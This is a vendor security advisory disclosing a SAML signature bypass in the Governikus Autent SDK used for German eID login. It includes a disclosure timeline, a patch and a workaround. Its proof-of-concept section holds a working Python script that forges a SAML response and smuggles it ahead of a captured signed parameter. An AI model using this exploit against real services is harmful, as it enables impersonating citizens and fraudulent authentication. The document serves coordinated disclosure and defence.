Governikus Autent SDK 3.8.1 Signature Bypass

`An additional blog post has been published on this topic as well:  
  
English version: https://r.sec-consult.com/governikus  
  
German version: https://r.sec-consult.com/gov  
  
  
SEC Consult Vulnerability Lab Security Advisory < 20181121-0 >  
=======================================================================  
title: Signature Bypass / Authentication Bypass  
product: Governikus Autent SDK  
vulnerable version: <=3.8.1  
fixed version: 3.8.1.2  
CVE number: -  
impact: critical  
homepage: https://www.governikus.de/  
found: 2018-06  
by: W. Ettlinger (Office Vienna)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult  
Europe | Asia | North America  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
German original, translated to English: "In the course of digitization, electronic  
identities have become indispensable. At the same time, the requirements for  
protection, handling with regard to legal security and the federation of  
electronic identities are increasing. With Governikus Autent, server and client  
components are available to ensure authentication through electronic identities.  
Governikus Autent meets all the requirements of a modern identity management  
solution.a  
  
Source:  
https://www.governikus.de/produkte-loesungen/governikus-autent-und-ausweisapp2/  
  
  
Business recommendation:  
------------------------  
During a short crash test SEC Consult identified a critical vulnerability in the  
Governikus Autent SDK nPA authentication code (German id card authentication).  
  
This vulnerability could allow an attacker to impersonate any German citizen  
on a vulnerable web application.  
  
SEC Consult recommends to immediately apply the workaround described below or  
apply the patch provided by the vendor. Moreover, SEC Consult recommends web  
application providers to check historic log files for evidence of this attack.  
SEC Consult recommends conducting a thorough source code security review on  
the Governikus Autent components as they are integral for the security of many  
web applications.  
  
  
Vulnerability overview/description:  
-----------------------------------  
The software component tested is used by web applications to integrate nPA  
authentication (authentication using the German official id document).  
  
As the last step of an authentication transaction, the web application the user  
authenticates against receives a string containing all relevant data about the  
citizen (e.g. first name, last name). As this string is signed by a trusted  
party (an eID server), the application can verify the authenticity of this  
string.  
  
The component in the web application that is supposed to verify this signature  
can be tricked into accepting a string that has been modified. An attacker that  
has acquired a single legitimately signed string can use this to authenticate  
as any German citizen to any web application that trusts the eID server's  
signature. An attacker could acquire such a signed string by hosting a web  
application and tricking a victim to authenticate, by gaining access to a  
signed string sent to a legitimate web application (man-in-the-middle attack,  
getting access to the access log) or by authenticating against a web application  
using his own id document.  
  
  
Proof of concept:  
-----------------  
1. Signature Bypass  
  
During the last step of the NPA transaction, the user is redirected to the  
SAML receiver of the web application she tried to authenticate against. The SAML  
response is sent as a URL parameter:  
  
https://<host>/<receiver path>?SAMLResponse=<SAML  
response>&RelayState=<...>&SigAlg=<sig alg.>&Signature=<signature>  
  
According to the demo application, the first verification a SAML receiver is  
meant to do is call the method HttpRedirectUtils.checkQueryString passing the  
query string (as it is returned by request.getQueryString()). If this method  
returns false, the signature could not be verified.  
  
This method internally deconstructs the query string into individual parameters,  
reconstructs the query string and then verifies the signature.  
  
If however, the query string contains multiple parameters of the same name, only  
the last occurrence of a parameter is built into the query string the signature  
is verified against. Therefore, if a query string is constructed like following,  
the first SAML response is ignored during signature verification:  
  
...?SAMLResponse=<SAML response 1>&SAMLResponse=<SAML response 2>...  
  
Afterwards, when the SAML response is processed, the application is likely to  
use the method ServletRequest.getParameter() to retrieve the SAML response (the  
demo application which is meant to show the integration of the library also  
does this). As per the specification of this method, the application server is  
supposed to return the first parameter value, if multiple parameters with the  
same name were sent.  
  
Thus, the signature is verified against the second occurrence of the  
SAMLResponse parameter, while the first occurrence of the SAMLResponse parameter  
is further processed by the application.  
  
An attacker is therefore able to arbitrarily modify an authentic query string.  
By obtaining such a string (e.g. by providing a web application with nPA  
login and then checking the access log), he is able to authenticate as any  
citizen against any vulnerable web application that also trusts the issuer of  
the signature.  
  
The following script demonstrates this issue:  
----- snip -----  
import webbrowser, re, urllib, zlib  
from urlparse import urlparse  
from base64 import b64encode  
  
# enter the URL of the receiver  
AUDIENCE = 'https://localhost:8443/AutentSAMLDemo/NewReceiverServlet'  
  
saml = '''<?xml version="1.0" encoding="UTF-8"?>  
<samlp:Response  
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"  
xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:xs="http://www.w3.org/2001/XMLSchema"  
xmlns:eid="http ://bsi.bund.de/eID/"  
Version="2.0">  
<samlp:Status>  
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />  
</samlp:Status>  
<saml2:Assertion Version="2.0">  
<saml2:Conditions>  
<saml2:AUDIENCERestriction>  
<saml2:AUDIENCE>##AUDIENCE##</saml2:AUDIENCE>  
</saml2:AUDIENCERestriction>  
</saml2:Conditions>  
<saml2:Subject>  
<saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">  
<saml2:SubjectConfirmationData NotOnOrAfter="2099-01-01T00:00:00.000Z"  
Recipient="##AUDIENCE##" />  
</saml2:SubjectConfirmation>  
</saml2:Subject>  
<saml2:AttributeStatement>  
<saml2:Attribute Name="AcademicTitle">  
<saml2:AttributeValue xsi:type="xs:string">The Bad</saml2:AttributeValue>  
</saml2:Attribute>  
<saml2:Attribute Name="GivenNames">  
<saml2:AttributeValue xsi:type="xs:string">Evil</saml2:AttributeValue>  
</saml2:Attribute>  
<saml2:Attribute Name="FamilyNames">  
<saml2:AttributeValue xsi:type="xs:string">Attacker</saml2:AttributeValue>  
</saml2:Attribute>  
<saml2:Attribute Name="DocumentValidity">  
<saml2:AttributeValue xsi:type="eid:DocumentValidityResultType" Version="1">  
<eid:ReferenceDate>2010-01-01</eid:ReferenceDate>  
<eid:Status>valid</eid:Status>  
</saml2:AttributeValue>  
</saml2:Attribute>  
<saml2:Attribute Name="DocumentType">  
<saml2:AttributeValue xsi:type="xs:string">ID</saml2:AttributeValue>  
</saml2:Attribute>  
</saml2:AttributeStatement>  
</saml2:Assertion>  
</samlp:Response>'''  
  
saml = saml.replace('##AUDIENCE##', AUDIENCE)  
  
# make SAML as small as possible to fit it in a GET request  
saml = re.sub('\s+', ' ', saml)  
  
# read the captured signed URL  
with open('signed_url.txt', 'rt') as f:  
url = urlparse(f.read().strip())  
  
c = zlib.compressobj(-1, zlib.DEFLATED, -9)  
compressed = c.compress(saml) + c.flush()  
  
url = url._replace(query='SAMLResponse={0}&{1}'.format(  
urllib.quote(b64encode(compressed)),  
url.query))  
  
webbrowser.open(url.geturl())  
----- snip -----  
  
  
Vulnerable / tested versions:  
-----------------------------  
The version that was distributed with the demo application (3.8.1) was found  
to be vulnerable which was the latest version available at the time of  
discovery.  
  
Moreover, the library version distributed/included with the (at the time of  
discovery) latest release of the beA Client Security (3.20.3) is vulnerable  
as well. As our identified vulnerability affects HTTP query parsing, the  
beA client is most likely not vulnerable. No further analysis has been  
performed though.  
  
  
Vendor contact timeline:  
------------------------  
2018-07-05: Contacting CERT-Bund for coordination support with vendor and  
German government agencies  
2018-07-05: CERT-Bund: information will be forwarded to affected parties  
2018-07-12: CERT-Bund: advisory has been forwarded to Governikus, is being  
investigated  
2018-08-03: Requesting status update  
2018-08-03: CERT-Bund: Governikus has been contacted again  
2018-08-10: CERT-Bund: Governikus will be able to provide a patch until  
2018-08-24  
2018-08-10: Internally coordinating release date, asking for details about the  
patch  
2018-08-10: CERT-Bund: vulnerability has been patched, customers will be  
informed by Governikus  
2018-08-21: CERT-Bund provides additional details about the patch  
2018-08-22: SEC Consult informs CERT-Bund that the advisory will be released at  
a later date  
2018-09-28: Informing CERT-Bund about release date: 2018-11-21  
2018-11-12: Sending blog post draft to CERT-Bund/Governikus  
2018-11-21: Public release of the advisory.  
  
  
Solution:  
---------  
Upgrade to version 3.8.1.2 of the Governikus Autent SDK.  
  
  
Workaround:  
-----------  
In order to mitigate this issue, a web application could check if the request  
parameters provided to the receiver servlet contain multiple parameters of the  
same name. If this is the case, the authentication process has to be aborted.  
  
  
Advisory URL:  
-------------  
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
  
SEC Consult  
Europe | Asia | North America  
  
About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It  
ensures the continued knowledge gain of SEC Consult in the field of network  
and application security to stay ahead of the attacker. The SEC Consult  
Vulnerability Lab supports high-quality penetration testing and the evaluation  
of new offensive and defensive technologies for our customers. Hence our  
customers obtain the most current information about vulnerabilities and valid  
recommendation about the risk profile of new technologies.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://www.sec-consult.com/en/career/index.html  
  
Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://www.sec-consult.com/en/contact/index.html  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Mail: research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: http://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult  
  
EOF W. Ettlinger / @2018  
  
  
`